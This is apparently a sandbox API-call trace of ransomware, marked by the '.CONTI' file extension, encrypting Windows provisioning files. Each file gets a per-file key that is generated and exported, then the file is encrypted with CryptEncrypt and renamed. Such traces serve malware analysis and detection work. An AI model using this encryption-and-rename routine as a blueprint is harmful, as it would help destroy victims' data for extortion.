	[0111.999] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=660) returned 1
	[0111.999] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x294
	[0111.999] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.999] SetEndOfFile (hFile=0x37c) returned 1
	[0111.999] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.999] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.999] WriteFile (in: hFile=0x37c, lpBuffer=0x1803e54*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x1803e54*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0112.005] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.006] ReadFile (in: hFile=0x37c, lpBuffer=0x8950000, nNumberOfBytesToRead=0x294, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x294, lpOverlapped=0x0) returned 1
	[0112.006] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x294, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2a0) returned 1
	[0112.006] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.006] WriteFile (in: hFile=0x37c, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2a0, lpOverlapped=0x0) returned 1
	[0112.006] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.006] WriteFile (in: hFile=0x37c, lpBuffer=0x1803e48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x1803e48*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0112.006] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.006] CloseHandle (hObject=0x37c) returned 1
	[0112.006] GetProcessHeap () returned 0x1720000
	[0112.006] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.006] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml"
	[0112.006] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.006] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\468__connections_cellular_etisalat (united arab emirates)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\468__connections_cellular_etisalat (united arab emirates)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.007] GetProcessHeap () returned 0x1720000
	[0112.007] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.007] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0112.007] GetProcessHeap () returned 0x1720000
	[0112.007] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6574c58 | out: hHeap=0x1720000) returned 1
	[0112.007] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0112.007] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x65152c8 | out: phKey=0x65152c8*=0x6b7f0b8) returned 1
	[0112.007] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x65152cc, pdwDataLen=0x37ffcec | out: pbData=0x65152cc*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0112.008] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\46__connections_cellular_orange (belgium)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0112.008] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\46__connections_cellular_orange (belgium)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0112.008] GetLastError () returned 0x0
	[0112.008] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=712) returned 1
	[0112.008] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c8
	[0112.009] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.009] SetEndOfFile (hFile=0x37c) returned 1
	[0112.009] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.009] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.009] WriteFile (in: hFile=0x37c, lpBuffer=0x65152cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x65152cc*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0112.015] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.015] ReadFile (in: hFile=0x37c, lpBuffer=0x8950000, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x2c8, lpOverlapped=0x0) returned 1
	[0112.015] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2c8, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2d0) returned 1
	[0112.016] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.016] WriteFile (in: hFile=0x37c, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2d0, lpOverlapped=0x0) returned 1
	[0112.016] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.016] WriteFile (in: hFile=0x37c, lpBuffer=0x65152c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x65152c0*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0112.016] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.016] CloseHandle (hObject=0x37c) returned 1
	[0112.016] GetProcessHeap () returned 0x1720000
	[0112.016] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.016] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml"
	[0112.016] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml.CONTI"
	[0112.016] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\46__connections_cellular_orange (belgium)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\46__Connections_Cellular_ORANGE (Belgium)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\46__connections_cellular_orange (belgium)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0112.017] GetProcessHeap () returned 0x1720000
	[0112.017] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.017] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0112.017] GetProcessHeap () returned 0x1720000
	[0112.017] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18090f0 | out: hHeap=0x1720000) returned 1
	[0112.017] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0112.017] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6512770 | out: phKey=0x6512770*=0x6b7f0b8) returned 1
	[0112.017] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x6512774, pdwDataLen=0x37ffcec | out: pbData=0x6512774*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0112.018] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\471__connections_cellular_o2 - uk (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.018] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\471__connections_cellular_o2 - uk (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0112.018] GetLastError () returned 0x0
	[0112.018] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=872) returned 1
	[0112.018] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x368
	[0112.019] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.019] SetEndOfFile (hFile=0x37c) returned 1
	[0112.022] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.022] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.022] WriteFile (in: hFile=0x37c, lpBuffer=0x6512774*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x6512774*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0112.806] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.806] ReadFile (in: hFile=0x37c, lpBuffer=0x8950000, nNumberOfBytesToRead=0x368, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x368, lpOverlapped=0x0) returned 1
	[0112.807] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x368, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x370) returned 1
	[0112.807] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.807] WriteFile (in: hFile=0x37c, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x370, lpOverlapped=0x0) returned 1
	[0112.808] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.808] WriteFile (in: hFile=0x37c, lpBuffer=0x6512768*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6512768*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0112.808] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.808] CloseHandle (hObject=0x37c) returned 1
	[0112.822] GetProcessHeap () returned 0x1720000
	[0112.822] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.852] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml"
	[0113.852] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.852] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\471__connections_cellular_o2 - uk (united kingdom)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\471__Connections_Cellular_O2 - UK (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\471__connections_cellular_o2 - uk (united kingdom)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.853] GetProcessHeap () returned 0x1720000
	[0113.853] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.853] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0113.853] GetProcessHeap () returned 0x1720000
	[0113.853] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0bb0 | out: hHeap=0x1720000) returned 1
	[0113.853] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0113.853] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x6b45c08 | out: phKey=0x6b45c08*=0x17c7830) returned 1
	[0113.853] CryptExportKey (in: hKey=0x17c7830, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b45c0c, pdwDataLen=0x37ffcec | out: pbData=0x6b45c0c*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0113.854] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\672__connections_cellular_dell (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.854] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\672__connections_cellular_dell (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0113.854] GetLastError () returned 0x0
	[0113.854] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=728) returned 1
	[0113.854] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d8
	[0113.854] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.854] SetEndOfFile (hFile=0x380) returned 1
	[0113.854] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.854] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.855] WriteFile (in: hFile=0x380, lpBuffer=0x6b45c0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x6b45c0c*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0113.861] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.861] ReadFile (in: hFile=0x380, lpBuffer=0x8950000, nNumberOfBytesToRead=0x2d8, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x2d8, lpOverlapped=0x0) returned 1
	[0113.861] CryptEncrypt (in: hKey=0x17c7830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2d8, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2e0) returned 1
	[0113.861] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.861] WriteFile (in: hFile=0x380, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.861] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.861] WriteFile (in: hFile=0x380, lpBuffer=0x6b45c00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x6b45c00*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0113.861] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.862] CloseHandle (hObject=0x380) returned 1
	[0113.862] GetProcessHeap () returned 0x1720000
	[0113.862] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.862] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml"
	[0113.862] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI"
